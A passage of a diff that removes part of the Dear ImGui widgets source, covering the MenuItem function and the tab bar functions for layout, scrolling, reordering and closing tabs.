SameLine(). It would also work to call SameLine() ourselves after the PopStyleVar(). - } - else - { - // Menu item inside a vertical menu - // (In a typical menu window where all items are BeginMenu() or MenuItem() calls, extra_w will always be 0.0f. - // Only when they are other items sticking out we're going to add spacing, yet only register minimum width into the layout system. - float shortcut_w = shortcut ? CalcTextSize(shortcut, NULL).x : 0.0f; - float min_w = window->DC.MenuColumns.DeclColumns(label_size.x, shortcut_w, IM_FLOOR(g.FontSize * 1.20f)); // Feedback for next frame - float extra_w = ImMax(0.0f, GetContentRegionAvail().x - min_w); - pressed = Selectable(label, false, flags | ImGuiSelectableFlags_SpanAvailWidth, ImVec2(min_w, 0.0f)); - if (shortcut_w > 0.0f) - { - PushStyleColor(ImGuiCol_Text, g.Style.Colors[ImGuiCol_TextDisabled]); - RenderText(pos + ImVec2(window->DC.MenuColumns.Pos[1] + extra_w, 0.0f), shortcut, NULL, false); - PopStyleColor(); - } - if (selected) - RenderCheckMark(window->DrawList, pos + ImVec2(window->DC.MenuColumns.Pos[2] + extra_w + g.FontSize * 0.40f, g.FontSize * 0.134f * 0.5f), GetColorU32(enabled ? ImGuiCol_Text : ImGuiCol_TextDisabled), g.FontSize * 0.866f); - } - - IMGUI_TEST_ENGINE_ITEM_INFO(window->DC.LastItemId, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Checkable | (selected ? ImGuiItemStatusFlags_Checked : 0)); - return pressed; -} - -bool ImGui::MenuItem(const char* label, const char* shortcut, bool* p_selected, bool enabled) -{ - if (MenuItem(label, shortcut, p_selected ? *p_selected : false, enabled)) - { - if (p_selected) - *p_selected = !*p_selected; - return true; - } - return false; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: BeginTabBar, EndTabBar, etc. -//------------------------------------------------------------------------- -// - BeginTabBar() -// - BeginTabBarEx() [Internal] -// - EndTabBar() -// - TabBarLayout() [Internal] -// - TabBarCalcTabID() [Internal] -// - TabBarCalcMaxTabWidth() [Internal] -// - TabBarFindTabById() [Internal] -// - TabBarRemoveTab() [Internal] -// - TabBarCloseTab() [Internal] -// - TabBarScrollClamp() [Internal] -// - TabBarScrollToTab() [Internal] -// - TabBarQueueChangeTabOrder() [Internal] -// - TabBarScrollingButtons() [Internal] -// - TabBarTabListPopupButton() [Internal] -//------------------------------------------------------------------------- - -struct ImGuiTabBarSection -{ - int TabCount; // Number of tabs in this section. - float Width; // Sum of width of tabs in this section (after shrinking down) - float Spacing; // Horizontal spacing at the end of the section. - - ImGuiTabBarSection() { memset(this, 0, sizeof(*this)); } -}; - -namespace ImGui -{ - static void TabBarLayout(ImGuiTabBar* tab_bar); - static ImU32 TabBarCalcTabID(ImGuiTabBar* tab_bar, const char* label); - static float TabBarCalcMaxTabWidth(); - static float TabBarScrollClamp(ImGuiTabBar* tab_bar, float scrolling); - static void TabBarScrollToTab(ImGuiTabBar* tab_bar, ImGuiID tab_id, ImGuiTabBarSection* sections); - static ImGuiTabItem* TabBarScrollingButtons(ImGuiTabBar* tab_bar); - static ImGuiTabItem* TabBarTabListPopupButton(ImGuiTabBar* tab_bar); -} - -ImGuiTabBar::ImGuiTabBar() -{ - memset(this, 0, sizeof(*this)); - CurrFrameVisible = PrevFrameVisible = -1; - LastTabItemIdx = -1; -} - -static int IMGUI_CDECL TabItemComparerBySection(const void* lhs, const void* rhs) -{ - const ImGuiTabItem* a = (const ImGuiTabItem*)lhs; - const ImGuiTabItem* b = (const ImGuiTabItem*)rhs; - const int a_section = (a->Flags & ImGuiTabItemFlags_Leading) ? 0 : (a->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; - const int b_section = (b->Flags & ImGuiTabItemFlags_Leading) ? 0 : (b->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; - if (a_section != b_section) - return a_section - b_section; - return (int)(a->IndexDuringLayout - b->IndexDuringLayout); -} - -static int IMGUI_CDECL TabItemComparerByBeginOrder(const void* lhs, const void* rhs) -{ - const ImGuiTabItem* a = (const ImGuiTabItem*)lhs; - const ImGuiTabItem* b = (const ImGuiTabItem*)rhs; - return (int)(a->BeginOrder - b->BeginOrder); -} - -static ImGuiTabBar* GetTabBarFromTabBarRef(const ImGuiPtrOrIndex& ref) -{ - ImGuiContext& g = *GImGui; - return ref.Ptr ? (ImGuiTabBar*)ref.Ptr : g.TabBars.GetByIndex(ref.Index); -} - -static ImGuiPtrOrIndex GetTabBarRefFromTabBar(ImGuiTabBar* tab_bar) -{ - ImGuiContext& g = *GImGui; - if (g.TabBars.Contains(tab_bar)) - return ImGuiPtrOrIndex(g.TabBars.GetIndex(tab_bar)); - return ImGuiPtrOrIndex(tab_bar); -} - -bool ImGui::BeginTabBar(const char* str_id, ImGuiTabBarFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - ImGuiID id = window->GetID(str_id); - ImGuiTabBar* tab_bar = g.TabBars.GetOrAddByKey(id); - ImRect tab_bar_bb = ImRect(window->DC.CursorPos.x, window->DC.CursorPos.y, window->WorkRect.Max.x, window->DC.CursorPos.y + g.FontSize + g.Style.FramePadding.y * 2); - tab_bar->ID = id; - return BeginTabBarEx(tab_bar, tab_bar_bb, flags | ImGuiTabBarFlags_IsFocused); -} - -bool ImGui::BeginTabBarEx(ImGuiTabBar* tab_bar, const ImRect& tab_bar_bb, ImGuiTabBarFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return false; - - if ((flags & ImGuiTabBarFlags_DockNode) == 0) - PushOverrideID(tab_bar->ID); - - // Add to stack - g.CurrentTabBarStack.push_back(GetTabBarRefFromTabBar(tab_bar)); - g.CurrentTabBar = tab_bar; - - // Append with multiple BeginTabBar()/EndTabBar() pairs. - tab_bar->BackupCursorPos = window->DC.CursorPos; - if (tab_bar->CurrFrameVisible == g.FrameCount) - { - window->DC.CursorPos = ImVec2(tab_bar->BarRect.Min.x, tab_bar->BarRect.Max.y + tab_bar->ItemSpacingY); - tab_bar->BeginCount++; - return true; - } - - // Ensure correct ordering when toggling ImGuiTabBarFlags_Reorderable flag, or when a new tab was added while being not reorderable - if ((flags & ImGuiTabBarFlags_Reorderable) != (tab_bar->Flags & ImGuiTabBarFlags_Reorderable) || (tab_bar->TabsAddedNew && !(flags & ImGuiTabBarFlags_Reorderable))) - if (tab_bar->Tabs.Size > 1) - ImQsort(tab_bar->Tabs.Data, tab_bar->Tabs.Size, sizeof(ImGuiTabItem), TabItemComparerByBeginOrder); - tab_bar->TabsAddedNew = false; - - // Flags - if ((flags & ImGuiTabBarFlags_FittingPolicyMask_) == 0) - flags |= ImGuiTabBarFlags_FittingPolicyDefault_; - - tab_bar->Flags = flags; - tab_bar->BarRect = tab_bar_bb; - tab_bar->WantLayout = true; // Layout will be done on the first call to ItemTab() - tab_bar->PrevFrameVisible = tab_bar->CurrFrameVisible; - tab_bar->CurrFrameVisible = g.FrameCount; - tab_bar->PrevTabsContentsHeight = tab_bar->CurrTabsContentsHeight; - tab_bar->CurrTabsContentsHeight = 0.0f; - tab_bar->ItemSpacingY = g.Style.ItemSpacing.y; - tab_bar->FramePadding = g.Style.FramePadding; - tab_bar->TabsActiveCount = 0; - tab_bar->BeginCount = 1; - - // Set cursor pos in a way which only be used in the off-chance the user erroneously submits item before BeginTabItem(): items will overlap - window->DC.CursorPos = ImVec2(tab_bar->BarRect.Min.x, tab_bar->BarRect.Max.y + tab_bar->ItemSpacingY); - - // Draw separator - const ImU32 col = GetColorU32((flags & ImGuiTabBarFlags_IsFocused) ? ImGuiCol_TabActive : ImGuiCol_TabUnfocusedActive); - const float y = tab_bar->BarRect.Max.y - 1.0f; - { - const float separator_min_x = tab_bar->BarRect.Min.x - IM_FLOOR(window->WindowPadding.x * 0.5f); - const float separator_max_x = tab_bar->BarRect.Max.x + IM_FLOOR(window->WindowPadding.x * 0.5f); - window->DrawList->AddLine(ImVec2(separator_min_x, y), ImVec2(separator_max_x, y), col, 1.0f); - } - return true; -} - -void ImGui::EndTabBar() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return; - - ImGuiTabBar* tab_bar = g.CurrentTabBar; - if (tab_bar == NULL) - { - IM_ASSERT_USER_ERROR(tab_bar != NULL, "Mismatched BeginTabBar()/EndTabBar()!"); - return; - } - - // Fallback in case no TabItem have been submitted - if (tab_bar->WantLayout) - TabBarLayout(tab_bar); - - // Restore the last visible height if no tab is visible, this reduce vertical flicker/movement when a tabs gets removed without calling SetTabItemClosed(). - const bool tab_bar_appearing = (tab_bar->PrevFrameVisible + 1 < g.FrameCount); - if (tab_bar->VisibleTabWasSubmitted || tab_bar->VisibleTabId == 0 || tab_bar_appearing) - { - tab_bar->CurrTabsContentsHeight = ImMax(window->DC.CursorPos.y - tab_bar->BarRect.Max.y, tab_bar->CurrTabsContentsHeight); - window->DC.CursorPos.y = tab_bar->BarRect.Max.y + tab_bar->CurrTabsContentsHeight; - } - else - { - window->DC.CursorPos.y = tab_bar->BarRect.Max.y + tab_bar->PrevTabsContentsHeight; - } - if (tab_bar->BeginCount > 1) - window->DC.CursorPos = tab_bar->BackupCursorPos; - - if ((tab_bar->Flags & ImGuiTabBarFlags_DockNode) == 0) - PopID(); - - g.CurrentTabBarStack.pop_back(); - g.CurrentTabBar = g.CurrentTabBarStack.empty() ? NULL : GetTabBarFromTabBarRef(g.CurrentTabBarStack.back()); -} - -// This is called only once a frame before by the first call to ItemTab() -// The reason we're not calling it in BeginTabBar() is to leave a chance to the user to call the SetTabItemClosed() functions. -static void ImGui::TabBarLayout(ImGuiTabBar* tab_bar) -{ - ImGuiContext& g = *GImGui; - tab_bar->WantLayout = false; - - // Garbage collect by compacting list - // Detect if we need to sort out tab list (e.g. in rare case where a tab changed section) - int tab_dst_n = 0; - bool need_sort_by_section = false; - ImGuiTabBarSection sections[3]; // Layout sections: Leading, Central, Trailing - for (int tab_src_n = 0; tab_src_n < tab_bar->Tabs.Size; tab_src_n++) - { - ImGuiTabItem* tab = &tab_bar->Tabs[tab_src_n]; - if (tab->LastFrameVisible < tab_bar->PrevFrameVisible || tab->WantClose) - { - // Remove tab - if (tab_bar->VisibleTabId == tab->ID) { tab_bar->VisibleTabId = 0; } - if (tab_bar->SelectedTabId == tab->ID) { tab_bar->SelectedTabId = 0; } - if (tab_bar->NextSelectedTabId == tab->ID) { tab_bar->NextSelectedTabId = 0; } - continue; - } - if (tab_dst_n != tab_src_n) - tab_bar->Tabs[tab_dst_n] = tab_bar->Tabs[tab_src_n]; - - tab = &tab_bar->Tabs[tab_dst_n]; - tab->IndexDuringLayout = (ImS16)tab_dst_n; - - // We will need sorting if tabs have changed section (e.g. moved from one of Leading/Central/Trailing to another) - int curr_tab_section_n = (tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; - if (tab_dst_n > 0) - { - ImGuiTabItem* prev_tab = &tab_bar->Tabs[tab_dst_n - 1]; - int prev_tab_section_n = (prev_tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (prev_tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; - if (curr_tab_section_n == 0 && prev_tab_section_n != 0) - need_sort_by_section = true; - if (prev_tab_section_n == 2 && curr_tab_section_n != 2) - need_sort_by_section = true; - } - - sections[curr_tab_section_n].TabCount++; - tab_dst_n++; - } - if (tab_bar->Tabs.Size != tab_dst_n) - tab_bar->Tabs.resize(tab_dst_n); - - if (need_sort_by_section) - ImQsort(tab_bar->Tabs.Data, tab_bar->Tabs.Size, sizeof(ImGuiTabItem), TabItemComparerBySection); - - // Calculate spacing between sections - sections[0].Spacing = sections[0].TabCount > 0 && (sections[1].TabCount + sections[2].TabCount) > 0 ? g.Style.ItemInnerSpacing.x : 0.0f; - sections[1].Spacing = sections[1].TabCount > 0 && sections[2].TabCount > 0 ? g.Style.ItemInnerSpacing.x : 0.0f; - - // Setup next selected tab - ImGuiID scroll_to_tab_id = 0; - if (tab_bar->NextSelectedTabId) - { - tab_bar->SelectedTabId = tab_bar->NextSelectedTabId; - tab_bar->NextSelectedTabId = 0; - scroll_to_tab_id = tab_bar->SelectedTabId; - } - - // Process order change request (we could probably process it when requested but it's just saner to do it in a single spot). - if (tab_bar->ReorderRequestTabId != 0) - { - if (TabBarProcessReorder(tab_bar)) - if (tab_bar->ReorderRequestTabId == tab_bar->SelectedTabId) - scroll_to_tab_id = tab_bar->ReorderRequestTabId; - tab_bar->ReorderRequestTabId = 0; - } - - // Tab List Popup (will alter tab_bar->BarRect and therefore the available width!) - const bool tab_list_popup_button = (tab_bar->Flags & ImGuiTabBarFlags_TabListPopupButton) != 0; - if (tab_list_popup_button) - if (ImGuiTabItem* tab_to_select = TabBarTabListPopupButton(tab_bar)) // NB: Will alter BarRect.Min.x! - scroll_to_tab_id = tab_bar->SelectedTabId = tab_to_select->ID; - - // Leading/Trailing tabs will be shrink only if central one aren't visible anymore, so layout the shrink data as: leading, trailing, central - // (whereas our tabs are stored as: leading, central, trailing) - int shrink_buffer_indexes[3] = { 0, sections[0].TabCount + sections[2].TabCount, sections[0].TabCount }; - g.ShrinkWidthBuffer.resize(tab_bar->Tabs.Size); - - // Compute ideal tabs widths + store them into shrink buffer - ImGuiTabItem* most_recently_selected_tab = NULL; - int curr_section_n = -1; - bool found_selected_tab_id = false; - for (int tab_n = 0; tab_n < tab_bar->Tabs.Size; tab_n++) - { - ImGuiTabItem* tab = &tab_bar->Tabs[tab_n]; - IM_ASSERT(tab->LastFrameVisible >= tab_bar->PrevFrameVisible); - - if ((most_recently_selected_tab == NULL || most_recently_selected_tab->LastFrameSelected < tab->LastFrameSelected) && !(tab->Flags & ImGuiTabItemFlags_Button)) - most_recently_selected_tab = tab; - if (tab->ID == tab_bar->SelectedTabId) - found_selected_tab_id = true; - if (scroll_to_tab_id == 0 && g.NavJustMovedToId == tab->ID) - scroll_to_tab_id = tab->ID; - - // Refresh tab width immediately, otherwise changes of style e.g. style.FramePadding.x would noticeably lag in the tab bar. - // Additionally, when using TabBarAddTab() to manipulate tab bar order we occasionally insert new tabs that don't have a width yet, - // and we cannot wait for the next BeginTabItem() call. We cannot compute this width within TabBarAddTab() because font size depends on the active window. - const char* tab_name = tab_bar->GetTabName(tab); - const bool has_close_button = (tab->Flags & ImGuiTabItemFlags_NoCloseButton) ? false : true; - tab->ContentWidth = TabItemCalcSize(tab_name, has_close_button).x; - - int section_n = (tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; - ImGuiTabBarSection* section = §ions[section_n]; - section->Width += tab->ContentWidth + (section_n == curr_section_n ? g.Style.ItemInnerSpacing.x : 0.0f); - curr_section_n = section_n; - - // Store data so we can build an array sorted by width if we need to shrink tabs down - int shrink_buffer_index = shrink_buffer_indexes[section_n]++; - g.ShrinkWidthBuffer[shrink_buffer_index].Index = tab_n; - g.ShrinkWidthBuffer[shrink_buffer_index].Width = tab->ContentWidth; - - IM_ASSERT(tab->ContentWidth > 0.0f); - tab->Width = tab->ContentWidth; - } - - // Compute total ideal width (used for e.g. auto-resizing a window) - tab_bar->WidthAllTabsIdeal = 0.0f; - for (int section_n = 0; section_n < 3; section_n++) - tab_bar->WidthAllTabsIdeal += sections[section_n].Width + sections[section_n].Spacing; - - // Horizontal scrolling buttons - // (note that TabBarScrollButtons() will alter BarRect.Max.x) - if ((tab_bar->WidthAllTabsIdeal > tab_bar->BarRect.GetWidth() && tab_bar->Tabs.Size > 1) && !(tab_bar->Flags & ImGuiTabBarFlags_NoTabListScrollingButtons) && (tab_bar->Flags & ImGuiTabBarFlags_FittingPolicyScroll)) - if (ImGuiTabItem* scroll_and_select_tab = TabBarScrollingButtons(tab_bar)) - { - scroll_to_tab_id = scroll_and_select_tab->ID; - if ((scroll_and_select_tab->Flags & ImGuiTabItemFlags_Button) == 0) - tab_bar->SelectedTabId = scroll_to_tab_id; - } - - // Shrink widths if full tabs don't fit in their allocated space - float section_0_w = sections[0].Width + sections[0].Spacing; - float section_1_w = sections[1].Width + sections[1].Spacing; - float section_2_w = sections[2].Width + sections[2].Spacing; - bool central_section_is_visible = (section_0_w + section_2_w) < tab_bar->BarRect.GetWidth(); - float width_excess; - if (central_section_is_visible) - width_excess = ImMax(section_1_w - (tab_bar->BarRect.GetWidth() - section_0_w - section_2_w), 0.0f); // Excess used to shrink central section - else - width_excess = (section_0_w + section_2_w) - tab_bar->BarRect.GetWidth(); // Excess used to shrink leading/trailing section - - // With ImGuiTabBarFlags_FittingPolicyScroll policy, we will only shrink leading/trailing if the central section is not visible anymore - if (width_excess > 0.0f && ((tab_bar->Flags & ImGuiTabBarFlags_FittingPolicyResizeDown) || !central_section_is_visible)) - { - int shrink_data_count = (central_section_is_visible ? sections[1].TabCount : sections[0].TabCount + sections[2].TabCount); - int shrink_data_offset = (central_section_is_visible ? sections[0].TabCount + sections[2].TabCount : 0); - ShrinkWidths(g.ShrinkWidthBuffer.Data + shrink_data_offset, shrink_data_count, width_excess); - - // Apply shrunk values into tabs and sections - for (int tab_n = shrink_data_offset; tab_n < shrink_data_offset + shrink_data_count; tab_n++) - { - ImGuiTabItem* tab = &tab_bar->Tabs[g.ShrinkWidthBuffer[tab_n].Index]; - float shrinked_width = IM_FLOOR(g.ShrinkWidthBuffer[tab_n].Width); - if (shrinked_width < 0.0f) - continue; - - int section_n = (tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; - sections[section_n].Width -= (tab->Width - shrinked_width); - tab->Width = shrinked_width; - } - } - - // Layout all active tabs - int section_tab_index = 0; - float tab_offset = 0.0f; - tab_bar->WidthAllTabs = 0.0f; - for (int section_n = 0; section_n < 3; section_n++) - { - ImGuiTabBarSection* section = §ions[section_n]; - if (section_n == 2) - tab_offset = ImMin(ImMax(0.0f, tab_bar->BarRect.GetWidth() - section->Width), tab_offset); - - for (int tab_n = 0; tab_n < section->TabCount; tab_n++) - { - ImGuiTabItem* tab = &tab_bar->Tabs[section_tab_index + tab_n]; - tab->Offset = tab_offset; - tab_offset += tab->Width + (tab_n < section->TabCount - 1 ? g.Style.ItemInnerSpacing.x : 0.0f); - } - tab_bar->WidthAllTabs += ImMax(section->Width + section->Spacing, 0.0f); - tab_offset += section->Spacing; - section_tab_index += section->TabCount; - } - - // If we have lost the selected tab, select the next most recently active one - if (found_selected_tab_id == false) - tab_bar->SelectedTabId = 0; - if (tab_bar->SelectedTabId == 0 && tab_bar->NextSelectedTabId == 0 && most_recently_selected_tab != NULL) - scroll_to_tab_id = tab_bar->SelectedTabId = most_recently_selected_tab->ID; - - // Lock in visible tab - tab_bar->VisibleTabId = tab_bar->SelectedTabId; - tab_bar->VisibleTabWasSubmitted = false; - - // Update scrolling - if (scroll_to_tab_id != 0) - TabBarScrollToTab(tab_bar, scroll_to_tab_id, sections); - tab_bar->ScrollingAnim = TabBarScrollClamp(tab_bar, tab_bar->ScrollingAnim); - tab_bar->ScrollingTarget = TabBarScrollClamp(tab_bar, tab_bar->ScrollingTarget); - if (tab_bar->ScrollingAnim != tab_bar->ScrollingTarget) - { - // Scrolling speed adjust itself so we can always reach our target in 1/3 seconds. - // Teleport if we are aiming far off the visible line - tab_bar->ScrollingSpeed = ImMax(tab_bar->ScrollingSpeed, 70.0f * g.FontSize); - tab_bar->ScrollingSpeed = ImMax(tab_bar->ScrollingSpeed, ImFabs(tab_bar->ScrollingTarget - tab_bar->ScrollingAnim) / 0.3f); - const bool teleport = (tab_bar->PrevFrameVisible + 1 < g.FrameCount) || (tab_bar->ScrollingTargetDistToVisibility > 10.0f * g.FontSize); - tab_bar->ScrollingAnim = teleport ? tab_bar->ScrollingTarget : ImLinearSweep(tab_bar->ScrollingAnim, tab_bar->ScrollingTarget, g.IO.DeltaTime * tab_bar->ScrollingSpeed); - } - else - { - tab_bar->ScrollingSpeed = 0.0f; - } - tab_bar->ScrollingRectMinX = tab_bar->BarRect.Min.x + sections[0].Width + sections[0].Spacing; - tab_bar->ScrollingRectMaxX = tab_bar->BarRect.Max.x - sections[2].Width - sections[1].Spacing; - - // Clear name buffers - if ((tab_bar->Flags & ImGuiTabBarFlags_DockNode) == 0) - tab_bar->TabsNames.Buf.resize(0); - - // Actual layout in host window (we don't do it in BeginTabBar() so as not to waste an extra frame) - ImGuiWindow* window = g.CurrentWindow; - window->DC.CursorPos = tab_bar->BarRect.Min; - ItemSize(ImVec2(tab_bar->WidthAllTabs, tab_bar->BarRect.GetHeight()), tab_bar->FramePadding.y); - window->DC.IdealMaxPos.x = ImMax(window->DC.IdealMaxPos.x, tab_bar->BarRect.Min.x + tab_bar->WidthAllTabsIdeal); -} - -// Dockables uses Name/ID in the global namespace. Non-dockable items use the ID stack. -static ImU32 ImGui::TabBarCalcTabID(ImGuiTabBar* tab_bar, const char* label) -{ - if (tab_bar->Flags & ImGuiTabBarFlags_DockNode) - { - ImGuiID id = ImHashStr(label); - KeepAliveID(id); - return id; - } - else - { - ImGuiWindow* window = GImGui->CurrentWindow; - return window->GetID(label); - } -} - -static float ImGui::TabBarCalcMaxTabWidth() -{ - ImGuiContext& g = *GImGui; - return g.FontSize * 20.0f; -} - -ImGuiTabItem* ImGui::TabBarFindTabByID(ImGuiTabBar* tab_bar, ImGuiID tab_id) -{ - if (tab_id != 0) - for (int n = 0; n < tab_bar->Tabs.Size; n++) - if (tab_bar->Tabs[n].ID == tab_id) - return &tab_bar->Tabs[n]; - return NULL; -} - -// The *TabId fields be already set by the docking system _before_ the actual TabItem was created, so we clear them regardless. -void ImGui::TabBarRemoveTab(ImGuiTabBar* tab_bar, ImGuiID tab_id) -{ - if (ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, tab_id)) - tab_bar->Tabs.erase(tab); - if (tab_bar->VisibleTabId == tab_id) { tab_bar->VisibleTabId = 0; } - if (tab_bar->SelectedTabId == tab_id) { tab_bar->SelectedTabId = 0; } - if (tab_bar->NextSelectedTabId == tab_id) { tab_bar->NextSelectedTabId = 0; } -} - -// Called on manual closure attempt -void ImGui::TabBarCloseTab(ImGuiTabBar* tab_bar, ImGuiTabItem* tab) -{ - IM_ASSERT(!(tab->Flags & ImGuiTabItemFlags_Button)); - if (!(tab->Flags & ImGuiTabItemFlags_UnsavedDocument)) - { - // This will remove a frame of lag for selecting another tab on closure. - // However we don't run it in the case where the 'Unsaved' flag is set, so user gets a chance to fully undo the closure - tab->WantClose = true; - if (tab_bar->VisibleTabId == tab->ID) - { - tab->LastFrameVisible = -1; - tab_bar->SelectedTabId = tab_bar->NextSelectedTabId = 0; - } - } - else - { - // Actually select before expecting closure attempt (on an UnsavedDocument tab user is expect to e.g. show a popup) - if (tab_bar->VisibleTabId != tab->ID) - tab_bar->NextSelectedTabId = tab->ID; - } -} - -static float ImGui::TabBarScrollClamp(ImGuiTabBar* tab_bar, float scrolling) -{ - scrolling = ImMin(scrolling, tab_bar->WidthAllTabs - tab_bar->BarRect.GetWidth()); - return ImMax(scrolling, 0.0f); -} - -// Note: we may scroll to tab that are not selected! e.g. using keyboard arrow keys -static void ImGui::TabBarScrollToTab(ImGuiTabBar* tab_bar, ImGuiID tab_id, ImGuiTabBarSection* sections) -{ - ImGuiTabItem* tab = TabBarFindTabByID(tab_bar, tab_id); - if (tab == NULL) - return; - if (tab->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) - return; - - ImGuiContext& g = *GImGui; - float margin = g.FontSize * 1.0f; // When to scroll to make Tab N+1 visible always make a bit of N visible to suggest more scrolling area (since we don't have a scrollbar) - int order = tab_bar->GetTabOrder(tab); - - // Scrolling happens only in the central section (leading/trailing sections are not scrolling) - // FIXME: This is all confusing. - float scrollable_width = tab_bar->BarRect.GetWidth() - sections[0].Width - sections[2].Width - sections[1].Spacing; - - // We make all tabs positions all relative Sections[0].Width to make code simpler - float tab_x1 = tab->Offset - sections[0].Width + (order > sections[0].TabCount - 1 ? -margin : 0.0f); - float tab_x2 = tab->Offset - sections[0].Width + tab->Width + (order + 1 < tab_bar->Tabs.Size - sections[2].TabCount ? margin : 1.0f); - tab_bar->ScrollingTargetDistToVisibility = 0.0f; - if (tab_bar->ScrollingTarget > tab_x1 || (tab_x2 - tab_x1 >= scrollable_width)) - { - // Scroll to the left - tab_bar->ScrollingTargetDistToVisibility = ImMax(tab_bar->ScrollingAnim - tab_x2, 0.0f); - tab_bar->ScrollingTarget = tab_x1; - } - else if (tab_bar->ScrollingTarget < tab_x2 - scrollable_width) - { - // Scroll to the right - tab_bar->ScrollingTargetDistToVisibility = ImMax((tab_x1 - scrollable_width) - tab_bar->ScrollingAnim, 0.0f); - tab_bar->ScrollingTarget = tab_x2 - scrollable_width; - } -} - -void ImGui::TabBarQueueReorder(ImGuiTabBar* tab_bar, const ImGuiTabItem* tab, int dir) -{ - IM_ASSERT(dir == -1 || dir == +1); - IM_ASSERT(tab_bar->ReorderRequestTabId == 0); - tab_bar->ReorderRequestTabId = tab->ID; - tab_bar->ReorderRequestDir = (ImS8)dir; -} - -bool ImGui::TabBarProcessReorder(ImGuiTabBar* tab_bar) -{ - ImGuiTabItem* tab1 = TabBarFindTabByID(tab_bar, tab_bar->ReorderRequestTabId); - if (tab1 == NULL || (tab1->Flags & ImGuiTabItemFlags_NoReorder)) - return false; - - //IM_ASSERT(tab_bar->Flags & ImGuiTabBarFlags_Reorderable); // <- this may happen when using debug tools - int tab2_order = tab_bar->GetTabOrder(tab1) + tab_bar->ReorderRequestDir; - if (tab2_order < 0 || tab2_order >= tab_bar->Tabs.Size) - return false; - - // Reordered TabItem must share the same position flags than target - ImGuiTabItem* tab2 = &tab_bar->Tabs[tab2_order]; - if (tab2->Flags & ImGuiTabItemFlags_NoReorder) - return false; - if ((tab1->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing)) != (tab2->Flags & (ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_Trailing))) - return false; - - ImGuiTabItem item_tmp = *tab1; - *tab1 = *tab2; - *tab2 = item_tmp; - - if (tab_bar->Flags & ImGuiTabBarFlags_SaveSettings) - MarkIniSettingsDirty(); - return true; -} - -static ImGuiTabItem* ImGui::TabBarScrollingButtons(ImGuiTabBar* tab_bar) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - const ImVec2 arrow_button_size(g.FontSize - 2.0f, g.FontSize + g.Style.FramePadding.y * 2.0f); - const float scrolling_buttons_width = arrow_button_size.x * 2.0f; - - const ImVec2 backup_cursor_pos = window->DC.CursorPos; - //window->DrawList->AddRect(ImVec2(tab_bar->BarRect.Max.x - scrolling_buttons_width, tab_bar->BarRect.Min.y), ImVec2(tab_bar->BarRect.Max.x, tab_bar->BarRect.Max.y), IM_COL32(255,0,0,255)); - - int select_dir = 0; - ImVec4 arrow_col = g.Style.Colors[ImGuiCol_Text]; - arrow_col.w *= 0.5f; - - PushStyleColor(ImGuiCol_Text, arrow_col); - PushStyleColor(ImGuiCol_Button, ImVec4(0, 0, 0, 0)); - const float backup_repeat_delay = g.IO.KeyRepeatDelay; - const float backup_repeat_rate = g.IO.KeyRepeatRate; - g.IO.KeyRepeatDelay = 0.250f; - g.IO.KeyRepeatRate = 0.200f; - float x = ImMax(tab_bar->BarRect.Min.x, tab_bar->BarRect.Max.x - scrolling_buttons_width); - window->DC.CursorPos = ImVec2(x, tab_bar->BarRect.Min.y); - if (ArrowButtonEx("##<", ImGuiDir_Left, arrow_button_size, ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_Repeat)) - select_dir = -1; - window->DC.CursorPos = ImVec2(x + arrow_button_size.x, tab_bar->BarRect.Min.y); - if (ArrowButtonEx("##>", ImGuiDir_Right, arrow_button_size, ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_Repeat)) - select_dir = +1; - PopStyleColor(2); - g.IO.KeyRepeatRate = backup_repeat_rate; - g.IO.KeyRepeatDelay = backup_repeat_delay; - - ImGuiTabItem* tab_to_scroll_to = NULL; - if (select_dir != 0) - if (ImGuiTabItem* tab_item = TabBarFindTabByID(tab_bar, tab_bar->SelectedTabId)) - { - int selected_order = tab_bar->GetTabOrder(tab_item); - int target_order = selected_order + select_dir; - - // Skip tab item buttons until another tab item is found or end is reached - while (tab_to_scroll_to == NULL) - { - // If we are at the end of the list, still scroll to make our tab visible - tab_to_scroll_to = &tab_bar->Tabs[(target_order >= 0 && target_order < tab_bar->Tabs.Size) ? target_order : selected_order]; - - // Cross through buttons - // (even if first/last item is a button, return it so we can update the scroll) - if (tab_to_scroll_to->Flags & ImGuiTabItemFlags_Button) - { - target_order += select_dir; - selected_order += select_dir; - tab_to_scroll_to = (target_order < 0 || target_order >= tab_bar->Tabs.Size) ? tab_to_scroll_to : NULL; - } - } - } - window->DC.CursorPos = backup_cursor_pos; - tab_bar->BarRect.Max.x -= scrolling_buttons_width + 1.0f; - - return tab_to_scroll_to; -} - -static ImGuiTabItem* ImGui::TabBarTabListPopupButton(ImGuiTabBar* tab_bar) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - // We use g.Style.FramePadding.y to match the square ArrowButton size - const float tab_list_popup_button_width = g.FontSize + g.Style.FramePadding.y; - const ImVec2 backup_cursor_pos = window->DC.CursorPos; - window->DC.CursorPos = ImVec2(tab_bar->BarRect.Min.x - g.Style.FramePadding.y, tab_bar->BarRect.Min.y); - tab_bar->BarRect.Min.x += tab_list_popup_button_width; - - ImVec4 arrow_col = g.Style.Colors[ImGuiCol_Text]; - arrow_col.w *= 0.5f; - 